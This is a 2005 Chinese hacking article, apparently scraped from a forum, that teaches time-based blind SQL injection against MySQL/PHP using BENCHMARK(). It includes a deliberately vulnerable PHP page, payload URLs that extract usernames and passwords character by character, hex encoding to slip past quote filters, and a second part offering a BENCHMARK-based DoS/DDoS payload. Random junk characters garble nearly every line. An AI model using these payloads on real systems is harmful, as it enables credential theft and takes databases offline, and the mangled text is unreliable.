MYSQL中BENCHMARK函数的利用
- u5 H9 P# g- o/ b本文作者:SuperHei
$ P3 V: E$ i: J! P! y- S文章性质:原创
+ C1 E' d' ^5 p" U发布日期:2005-01-02% }8 o) F; l* g3 ?) E x: n
完成日期:2004-07-09 . v3 k, I. X S4 W4 ^* D& z& [
第一部
8 A8 x4 _5 o! G8 G
5 }! ~! V6 b6 D& Y( u# T利用时间推延进行注射---BENCHMARK函数在注射中的利用 0 L. M) s0 }0 M" }0 ?& ^
7 U0 b/ C+ J% X8 n/ \3 v
一.前言/思路
6 _: o5 P0 s. e! D, @$ R2 c3 s w5 M' @
如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。# |7 m \6 m. j8 g B2 H( p8 d
2 E1 @& m% q, l. T5 p% m
本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。- g8 |0 @5 v: V8 M! \5 Q7 Q( \# M
- {* H% N% v# C9 I7 F6 e
二.关于BENCHMARK函数
! H+ i, T. h/ t3 b5 P. @
" j7 p( o1 B2 x& E 在MySQL参考手册里可以看到如下描叙: 3 L- v5 [% }7 X9 E! p+ X
1 u0 b- `. k. A$ |- K3 G* |
( E2 m& r/ o) L--------------------------------------------------------------------------------# F' `3 {) c% _! R$ ]2 I0 f! S3 k
" n- X" o' t0 n! F+ oBENCHMARK(count,expr)
/ Y, H( I7 N9 e. Q0 x V& z3 PBENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
% B4 d! F1 W' g( C( Y) ?! {mysql> select BENCHMARK(1000000,encode("hello","goodbye")); ; \) |$ @/ b' I% i% }& R
+----------------------------------------------+ ' n* w3 [% g% c! K& W5 K
| BENCHMARK(1000000,encode("hello","goodbye")) |
2 E' K) }5 M# P' e) l7 _. c+----------------------------------------------+
* l. f, k/ s a1 H( Y5 r8 I6 D| 0 | ) S# W4 r* c" Q" p4 C ^' o# T
+----------------------------------------------+
) p8 x9 w) y$ q$ _8 [9 m8 K1 row in set (4.74 sec)
# m+ A' o8 N" k" a. T, {' g P2 g7 \1 f
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。) |; U5 n0 x! {# Y
/ J$ {' z. r( l- ?9 P3 Y L
7 u; m& l0 B5 T) y--------------------------------------------------------------------------------
- X2 s. ]8 q- n ~6 {- o7 G- n8 P8 G
" K) Y/ u, `0 u2 C+ E1 s 只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
5 x* x- } x$ m8 h/ \' H9 x D9 v7 N) V5 s4 T& [
mysql> select md5( 'test' );
4 ~! _. P% ?4 ]$ k5 k) x1 N- X+----------------------------------+
6 R( C$ o) J8 O6 H| md5( 'test' ) |
3 ]- x- E1 _( V+ R, _+----------------------------------+
. \" p2 S9 \1 c& s| 098f6bcd4621d373cade4e832627b4f6 |
/ f A, Z8 L B# A" o4 R+----------------------------------+ 5 O5 ^9 e" t0 S. f
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
5 y$ f; y7 I$ T. ?
7 @- C" a# {6 k# o9 qmysql> select benchmark( 500000, md5( 'test' ) ); ) W( A3 ]9 U9 t, U( R2 m
+------------------------------------+
* V& r( `6 p& j- s( ^| benchmark( 500000, md5( 'test' ) ) | : u; h* O |7 t# E5 c
+------------------------------------+ a7 `3 I2 u% E, `, |4 x; g! y
| 0 |
4 M. |; d" Y% Q0 h+------------------------------------+ - N% a" M/ r u' \) y; l6 |
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
1 ~6 ]9 S1 N+ X& Q ]: S
" P( Z1 T0 e1 m, F0 \8 n$ L4 x; U
' P) v( ]1 d& B& R% w* f9 x 由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
- m+ P' `: \5 }8 \. {4 v% R. m( q& F' R. O a2 r8 l
三.具体例子% B3 w8 T1 A* }% k# j& P; H% F
% D' c$ K- Y. W# n
首先我们看个简单的php代码:
- m1 _' ~# p5 R5 [% ^& ^! z3 _ C. o# b& N+ C; c) h: P$ J
< ?php 2 g" Q9 Y6 D4 z' Q R3 }1 F/ W
$servername = "localhost";
7 D% i g w# X$dbusername = "root"; 7 V9 w+ u8 r2 q! h# t
$dbpassword = ""; 8 h& K% N: R) O( ]6 N/ Z% X$ y
$dbname = "injection";
% E( F L+ J. R5 u' }, i- D* a- N4 a4 P7 B4 X
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); 4 z7 e5 Q M- S
- `8 L% z+ T& t8 @# C/ U/ n9 N( i: f$sql = "SELECT * FROM article WHERE articleid=$id";
1 V5 V$ {5 ?/ B1 D( c! c# ^$result = mysql_db_query($dbname,$sql);
* b: C) k, G5 ?' _4 ~3 f3 b5 |$row = mysql_fetch_array($result); 4 K, O8 n9 e" _3 a! c
2 n. ?2 x% v5 S5 Q8 J1 Iif (!$row)
+ z2 j% A! \2 A7 `! {1 \{
7 B8 P$ G2 t( f+ N3 sexit;
' p! D5 V$ u8 r; \ B- O} 3 i: J3 C9 G% Z* U8 c
?>( a4 k1 a) e4 I: y e$ a) p# r& _
3 L6 p# Q+ F P
0 Z4 V* O4 m( z3 A( P& X5 W 数据库injection结构和内容如下:. ?' D- W4 R; B1 ]% O a
! P5 M0 x- m' r F# 数据库 : `injection`
$ x: L2 W8 \" A# r& e9 s4 Q#
\$ D6 d6 v* X% }" A: Y$ ^$ j, O+ e: T o+ D! X t( y1 Y. o
# --------------------------------------------------------
$ N& v7 A& j8 U
1 r" M7 c( N$ Q0 g+ u#
, I. s2 s& G5 F% m; b# 表的结构 `article`
+ P; H( }, r/ M+ m& ?; j#
' l1 H V/ }6 q# r$ e" u1 s$ @& R% r! q6 e
CREATE TABLE `article` (
) Y: x. c3 g6 |$ M`articleid` int(11) NOT NULL auto_increment, ' n5 H* M) s# p4 b0 Q
`title` varchar(100) NOT NULL default '', 7 L+ B5 Q g M7 L0 D
`content` text NOT NULL, 6 l) A) U% o1 D- u' i' A2 f
PRIMARY KEY (`articleid`)
4 Q1 D5 z% T3 _) TYPE=MyISAM AUTO_INCREMENT=3 ;
" A4 d. }9 s, j3 U+ t% E
) m, o% r5 ]/ Z+ X, t. n. Q# + v: j3 R4 j, G5 y `5 v4 `$ G
# 导出表中的数据 `article` 2 T |& ^* {- Z$ q$ \2 t \
# # Q0 t4 C/ c0 k( B
% V. X' G1 Q2 L: S; _
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); : _ L! X9 y: x* F( H# }, ]3 n
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); 1 s8 Y$ y! ~6 W* }+ P
" Q) J: D/ C/ u0 V$ \6 u% ?
# --------------------------------------------------------
2 H B. V' a X; |/ c% `+ H
7 q( E1 k% P& p9 z, f- `# 8 G; V/ q0 u4 A- S; V& @- _
# 表的结构 `user`
, T2 h& S9 C& r- _) B0 `#
& a$ b8 Y# S8 ~; \3 ]( g, A; {, a. j$ W' ^2 d$ E) _; ^/ W0 x
CREATE TABLE `user` (
* \& V6 c; O J& V ?( ^`userid` int(11) NOT NULL auto_increment, 4 f4 D$ S) B, O9 ^7 e: P% Q
`username` varchar(20) NOT NULL default '',
. w5 U, |! q2 {" p- O& g`password` varchar(20) NOT NULL default '', ( _6 ^! G2 r& q8 _ e8 q4 p: G9 O/ a) k
PRIMARY KEY (`userid`)
0 z$ b. O6 t; p& x" o' C) TYPE=MyISAM AUTO_INCREMENT=3 ;
* b% }& M) z. R$ A) Z
3 s: l. K/ v, q/ T0 D( A# r o3 D) ^( s# v( y0 C
# 导出表中的数据 `user`
4 O6 m0 d' ]- d#
3 C: D4 x: K! p4 w8 L( a: R+ o/ O8 H) P. L- B, I
INSERT INTO `user` VALUES (1, 'angel', 'mypass'); * j% b% r# x8 q8 P
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');# J9 l! b/ E9 d( @2 P3 a( n6 z
: l+ @8 m4 ]- c1 A& ~6 U v9 W4 m$ @5 ~3 o" X
代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:# j8 j: \: N( b1 u
( g! T; ]1 C, A1 M/ Zid=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
* h6 T2 l/ z5 J0 Q $ O" L- J7 \ t8 A% }6 G3 P
* S; a1 |8 c5 I1 `( A
上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:1 a# E9 j1 ^! S2 |
1 z# D# s- D* yhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/** z5 v( X9 n# ^5 W
7 w. p1 d5 u& `* C5 J) F6 i
- o6 l3 ~0 F$ O9 w# ~" H 执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
e% i& [" F; T/ C$ n# r
/ i4 g$ r; b. I( F0 e3 `& R 注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 8 b9 W9 A# p/ y- _* ~6 z
8 U& f+ f% ?/ [1 L
第二部
, b+ w0 v) c& [
4 f; v% |) L, C7 j. }$ B U3 U利用BENCHMARK函数进行ddos攻击 3 a8 k1 c9 S% x# `! d! K5 Z4 o
9 R2 D- N$ W3 n) J. [8 f 其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:+ w" z/ L8 t# c" V( {: t" c
# Z4 H. B; w& o8 p3 ^http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))4 L2 C5 m; Y* L/ c0 I
' q9 `# D1 l' E8 _* T$ M. E
! d! u. d# P6 A& B8 Z6 Q小结' \+ n1 W* S1 U* |
1 ~( U8 E/ S b, [& ?& ~ i
本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
4 H6 N4 P! ^$ n' p+ x, E2 f- b0 E # c) d6 q9 H- {2 y5 N
( u& K" M: P# p4 X& U |